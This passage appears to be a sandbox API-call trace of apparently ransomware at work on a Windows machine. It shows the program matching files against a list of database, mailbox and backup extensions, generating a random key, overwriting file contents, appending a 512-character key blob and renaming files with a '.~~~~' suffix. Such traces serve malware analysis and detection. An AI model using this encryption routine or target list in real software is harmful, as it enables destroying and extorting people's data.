	[0142.252] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR10F.GIF", lpSrch=".vhdx") returned 0x0
	[0142.253] lstrlenW (lpString=".NDF") returned 4
	[0142.253] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR10F.GIF", lpSrch=".NDF") returned 0x0
	[0142.253] lstrlenW (lpString=".dat") returned 4
	[0142.253] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR10F.GIF", lpSrch=".dat") returned 0x0
	[0142.253] lstrlenW (lpString=".DBS") returned 4
	[0142.253] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR10F.GIF", lpSrch=".DBS") returned 0x0
	[0142.253] lstrlenW (lpString=".CKP") returned 4
	[0142.253] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR10F.GIF", lpSrch=".CKP") returned 0x0
	[0142.253] lstrlenW (lpString=".edb") returned 4
	[0142.253] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR10F.GIF", lpSrch=".edb") returned 0x0
	[0142.253] lstrlenW (lpString=".PST") returned 4
	[0142.253] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR10F.GIF", lpSrch=".PST") returned 0x0
	[0142.253] lstrlenW (lpString=".dbf") returned 4
	[0142.253] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR10F.GIF", lpSrch=".dbf") returned 0x0
	[0142.253] lstrlenW (lpString=".SQL") returned 4
	[0142.253] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR10F.GIF", lpSrch=".SQL") returned 0x0
	[0142.253] lstrlenW (lpString=".pst") returned 4
	[0142.253] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR10F.GIF", lpSrch=".pst") returned 0x0
	[0142.253] lstrlenW (lpString=".dbv") returned 4
	[0142.253] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR10F.GIF", lpSrch=".dbv") returned 0x0
	[0142.253] lstrlenW (lpString=".SDF") returned 4
	[0142.253] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR10F.GIF", lpSrch=".SDF") returned 0x0
	[0142.253] lstrlenW (lpString=".dtxs") returned 5
	[0142.253] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR10F.GIF", lpSrch=".dtxs") returned 0x0
	[0142.253] lstrlenW (lpString=".db3") returned 4
	[0142.253] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR10F.GIF", lpSrch=".db3") returned 0x0
	[0142.254] lstrlenW (lpString=".OST") returned 4
	[0142.254] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR10F.GIF", lpSrch=".OST") returned 0x0
	[0142.254] lstrlenW (lpString=".dbx") returned 4
	[0142.254] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR10F.GIF", lpSrch=".dbx") returned 0x0
	[0142.254] lstrlenW (lpString=".DB3") returned 4
	[0142.254] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR10F.GIF", lpSrch=".DB3") returned 0x0
	[0142.254] lstrlenW (lpString=".DAT") returned 4
	[0142.254] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR10F.GIF", lpSrch=".DAT") returned 0x0
	[0142.254] lstrlenW (lpString=".VHDX") returned 5
	[0142.254] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR10F.GIF", lpSrch=".VHDX") returned 0x0
	[0142.254] lstrlenW (lpString=".ndf") returned 4
	[0142.254] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR10F.GIF", lpSrch=".ndf") returned 0x0
	[0142.254] lstrlenW (lpString=".DB") returned 3
	[0142.254] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR10F.GIF", lpSrch=".DB") returned 0x0
	[0142.254] lstrlenW (lpString=".sql") returned 4
	[0142.254] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR10F.GIF", lpSrch=".sql") returned 0x0
	[0142.254] lstrlenW (lpString=".MYD") returned 4
	[0142.254] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR10F.GIF", lpSrch=".MYD") returned 0x0
	[0142.254] lstrlenW (lpString=".DBT") returned 4
	[0142.254] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR10F.GIF", lpSrch=".DBT") returned 0x0
	[0142.254] lstrlenW (lpString=".ACCDB") returned 6
	[0142.254] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR10F.GIF", lpSrch=".ACCDB") returned 0x0
	[0142.254] lstrlenW (lpString=".fdb") returned 4
	[0142.254] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR10F.GIF", lpSrch=".fdb") returned 0x0
	[0142.254] lstrlenW (lpString=".bak") returned 4
	[0142.254] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR10F.GIF", lpSrch=".bak") returned 0x0
	[0142.255] lstrlenW (lpString=".myd") returned 4
	[0142.255] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR10F.GIF", lpSrch=".myd") returned 0x0
	[0142.255] lstrlenW (lpString=".DTXS") returned 5
	[0142.255] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR10F.GIF", lpSrch=".DTXS") returned 0x0
	[0142.255] lstrlenW (lpString=".ckp") returned 4
	[0142.255] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR10F.GIF", lpSrch=".ckp") returned 0x0
	[0142.255] lstrlenW (lpString=".dbt") returned 4
	[0142.255] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR10F.GIF", lpSrch=".dbt") returned 0x0
	[0142.255] lstrlenW (lpString=".db") returned 3
	[0142.255] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR10F.GIF", lpSrch=".db") returned 0x0
	[0142.255] lstrlenW (lpString=".TXT") returned 4
	[0142.255] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR10F.GIF", lpSrch=".TXT") returned 0x0
	[0142.255] lstrlenW (lpString=".MDF") returned 4
	[0142.255] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR10F.GIF", lpSrch=".MDF") returned 0x0
	[0142.255] lstrlenW (lpString=".bdb") returned 4
	[0142.255] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR10F.GIF", lpSrch=".bdb") returned 0x0
	[0142.255] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0142.255] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR10F.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0142.255] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906550
	[0142.255] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630f8
	[0142.256] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x394b08) returned 1
	[0142.257] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630f8 | out: pbBuffer=0x3630f8) returned 1
	[0142.257] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0142.257] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630f8 | out: hHeap=0x300000) returned 1
	[0142.257] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0142.257] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0142.257] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=26224723845) returned 1
	[0142.257] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xbe327590, dwHighDateTime=0x1d60e1e)) 
	[0142.257] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0142.257] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0142.257] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0142.257] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27fa628
	[0142.258] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0142.258] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fa628 | out: hHeap=0x300000) returned 1
	[0142.258] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0142.258] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0142.258] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a9360
	[0142.258] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0142.258] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37b9a8
	[0142.258] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a9360 | out: hHeap=0x300000) returned 1
	[0142.258] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0142.258] GetLastError () returned 0x0
	[0142.259] GetLastError () returned 0x0
	[0142.259] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0142.259] GetLastError () returned 0x0
	[0142.259] GetLastError () returned 0x0
	[0142.259] ReadFile (in: hFile=0x114, lpBuffer=0x2a520b8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesRead=0x26dfec0*=0x13ad, lpOverlapped=0x0) returned 1
	[0142.262] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xffffec53, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0142.262] WriteFile (in: hFile=0x114, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x13ad, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x26dfec0*=0x13ad, lpOverlapped=0x0) returned 1
	[0142.262] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0142.262] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0142.262] WriteFile (in: hFile=0x114, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0142.262] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0142.262] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0142.262] CloseHandle (hObject=0x114) returned 1
	[0142.262] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a9360
	[0142.263] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR10F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir10f.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR10F.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir10f.gif.~~~~")) returned 1
	[0142.266] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a9360 | out: hHeap=0x300000) returned 1
	[0142.266] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0142.266] GetLastError () returned 0x0
	[0142.266] RtlWakeConditionVariable () returned 0x0
	[0142.266] GetCurrentThreadId () returned 0x9cc
	[0142.266] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR11F.GIF", lpSrch=".scr") returned 0x0
	[0142.266] lstrlenW (lpString=".cmd") returned 4
	[0142.266] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR11F.GIF", lpSrch=".cmd") returned 0x0
	[0142.266] lstrlenW (lpString=".dll") returned 4
	[0142.266] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR11F.GIF", lpSrch=".dll") returned 0x0
	[0142.266] lstrlenW (lpString=".bat") returned 4
	[0142.266] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR11F.GIF", lpSrch=".bat") returned 0x0
	[0142.266] lstrlenW (lpString=".cpl") returned 4
	[0142.266] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR11F.GIF", lpSrch=".cpl") returned 0x0
	[0142.266] lstrlenW (lpString=".sys") returned 4
	[0142.266] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR11F.GIF", lpSrch=".sys") returned 0x0
	[0142.266] lstrlenW (lpString=".msc") returned 4
	[0142.267] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR11F.GIF", lpSrch=".msc") returned 0x0
	[0142.267] lstrlenW (lpString=".com") returned 4
	[0142.267] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR11F.GIF", lpSrch=".com") returned 0x0
	[0142.267] lstrlenW (lpString=".lnk") returned 4
	[0142.267] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR11F.GIF", lpSrch=".lnk") returned 0x0
	[0142.267] lstrlenW (lpString=".msp") returned 4
	[0142.267] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR11F.GIF", lpSrch=".msp") returned 0x0
	[0142.267] lstrlenW (lpString=".pif") returned 4
	[0142.267] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR11F.GIF", lpSrch=".pif") returned 0x0
	[0142.267] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0142.267] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR11F.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0142.267] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR11F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir11f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
	[0142.269] lstrlenW (lpString=".sqb") returned 4
	[0142.269] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR11F.GIF", lpSrch=".sqb") returned 0x0
	[0142.269] lstrlenW (lpString=".ost") returned 4
	[0142.269] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR11F.GIF", lpSrch=".ost") returned 0x0
	[0142.269] lstrlenW (lpString=".txt") returned 4
	[0142.269] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR11F.GIF", lpSrch=".txt") returned 0x0
	[0142.269] lstrlenW (lpString=".mdt") returned 4
	[0142.269] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR11F.GIF", lpSrch=".mdt") returned 0x0
	[0142.270] lstrlenW (lpString=".BDB") returned 4
	[0142.270] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR11F.GIF", lpSrch=".BDB") returned 0x0
	[0142.270] lstrlenW (lpString=".eql") returned 4
	[0142.270] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR11F.GIF", lpSrch=".eql") returned 0x0
	[0142.270] lstrlenW (lpString=".DBF") returned 4
	[0142.270] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR11F.GIF", lpSrch=".DBF") returned 0x0
	[0142.270] lstrlenW (lpString=".EQL") returned 4
	[0142.270] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR11F.GIF", lpSrch=".EQL") returned 0x0
	[0142.270] lstrlenW (lpString=".FDB") returned 4
	[0142.270] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR11F.GIF", lpSrch=".FDB") returned 0x0
	[0142.270] lstrlenW (lpString=".EDB") returned 4
	[0142.270] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR11F.GIF", lpSrch=".EDB") returned 0x0
	[0142.270] lstrlenW (lpString=".DACPAC") returned 7
	[0142.270] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR11F.GIF", lpSrch=".DACPAC") returned 0x0
	[0142.270] lstrlenW (lpString=".VHD") returned 4
	[0142.270] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR11F.GIF", lpSrch=".VHD") returned 0x0
	[0142.270] lstrlenW (lpString=".DBV") returned 4
	[0142.270] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR11F.GIF", lpSrch=".DBV") returned 0x0
	[0142.270] lstrlenW (lpString=".dacpac") returned 7
	[0142.270] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR11F.GIF", lpSrch=".dacpac") returned 0x0
	[0142.270] lstrlenW (lpString=".sdf") returned 4
	[0142.270] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR11F.GIF", lpSrch=".sdf") returned 0x0
	[0142.270] lstrlenW (lpString=".accdb") returned 6
	[0142.270] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR11F.GIF", lpSrch=".accdb") returned 0x0
	[0142.270] lstrlenW (lpString=".DBX") returned 4
	[0142.271] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR11F.GIF", lpSrch=".DBX") returned 0x0
	[0142.271] lstrlenW (lpString=".MDT") returned 4
	[0142.271] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR11F.GIF", lpSrch=".MDT") returned 0x0
	[0142.271] lstrlenW (lpString=".SQB") returned 4
	[0142.271] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR11F.GIF", lpSrch=".SQB") returned 0x0
	[0142.271] lstrlenW (lpString=".vhd") returned 4
	[0142.271] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR11F.GIF", lpSrch=".vhd") returned 0x0
	[0142.271] lstrlenW (lpString=".bac") returned 4
	[0142.271] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR11F.GIF", lpSrch=".bac") returned 0x0
	[0142.271] lstrlenW (lpString=".mdf") returned 4
	[0142.271] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR11F.GIF", lpSrch=".mdf") returned 0x0
	[0142.271] lstrlenW (lpString=".BAK") returned 4
	[0142.271] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR11F.GIF", lpSrch=".BAK") returned 0x0
	[0142.271] lstrlenW (lpString=".BAC") returned 4
	[0142.271] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR11F.GIF", lpSrch=".BAC") returned 0x0
	[0142.271] lstrlenW (lpString=".dbs") returned 4
	[0142.271] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR11F.GIF", lpSrch=".dbs") returned 0x0
	[0142.271] lstrlenW (lpString=".vhdx") returned 5
	[0142.271] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR11F.GIF", lpSrch=".vhdx") returned 0x0
	[0142.271] lstrlenW (lpString=".NDF") returned 4
	[0142.271] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR11F.GIF", lpSrch=".NDF") returned 0x0
	[0142.271] lstrlenW (lpString=".dat") returned 4
	[0142.271] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR11F.GIF", lpSrch=".dat") returned 0x0
	[0142.271] lstrlenW (lpString=".DBS") returned 4
	[0142.271] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR11F.GIF", lpSrch=".DBS") returned 0x0
	[0142.271] lstrlenW (lpString=".CKP") returned 4
	[0142.272] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR11F.GIF", lpSrch=".CKP") returned 0x0
	[0142.272] lstrlenW (lpString=".edb") returned 4
	[0142.272] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR11F.GIF", lpSrch=".edb") returned 0x0
	[0142.272] lstrlenW (lpString=".PST") returned 4
	[0142.272] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR11F.GIF", lpSrch=".PST") returned 0x0
	[0142.272] lstrlenW (lpString=".dbf") returned 4
	[0142.272] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR11F.GIF", lpSrch=".dbf") returned 0x0
	[0142.272] lstrlenW (lpString=".SQL") returned 4
	[0142.272] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR11F.GIF", lpSrch=".SQL") returned 0x0
	[0142.272] lstrlenW (lpString=".pst") returned 4
	[0142.272] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR11F.GIF", lpSrch=".pst") returned 0x0
	[0142.272] lstrlenW (lpString=".dbv") returned 4
	[0142.272] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR11F.GIF", lpSrch=".dbv") returned 0x0
	[0142.272] lstrlenW (lpString=".SDF") returned 4
	[0142.272] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR11F.GIF", lpSrch=".SDF") returned 0x0
	[0142.272] lstrlenW (lpString=".dtxs") returned 5
	[0142.272] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR11F.GIF", lpSrch=".dtxs") returned 0x0
	[0142.272] lstrlenW (lpString=".db3") returned 4
	[0142.272] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR11F.GIF", lpSrch=".db3") returned 0x0
	[0142.272] lstrlenW (lpString=".OST") returned 4
	[0142.272] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR11F.GIF", lpSrch=".OST") returned 0x0
	[0142.272] lstrlenW (lpString=".dbx") returned 4
	[0142.272] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR11F.GIF", lpSrch=".dbx") returned 0x0
	[0142.272] lstrlenW (lpString=".DB3") returned 4
	[0142.272] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR11F.GIF", lpSrch=".DB3") returned 0x0
	[0142.273] lstrlenW (lpString=".DAT") returned 4
	[0142.273] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR11F.GIF", lpSrch=".DAT") returned 0x0
	[0142.273] lstrlenW (lpString=".VHDX") returned 5
	[0142.273] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR11F.GIF", lpSrch=".VHDX") returned 0x0
	[0142.273] lstrlenW (lpString=".ndf") returned 4
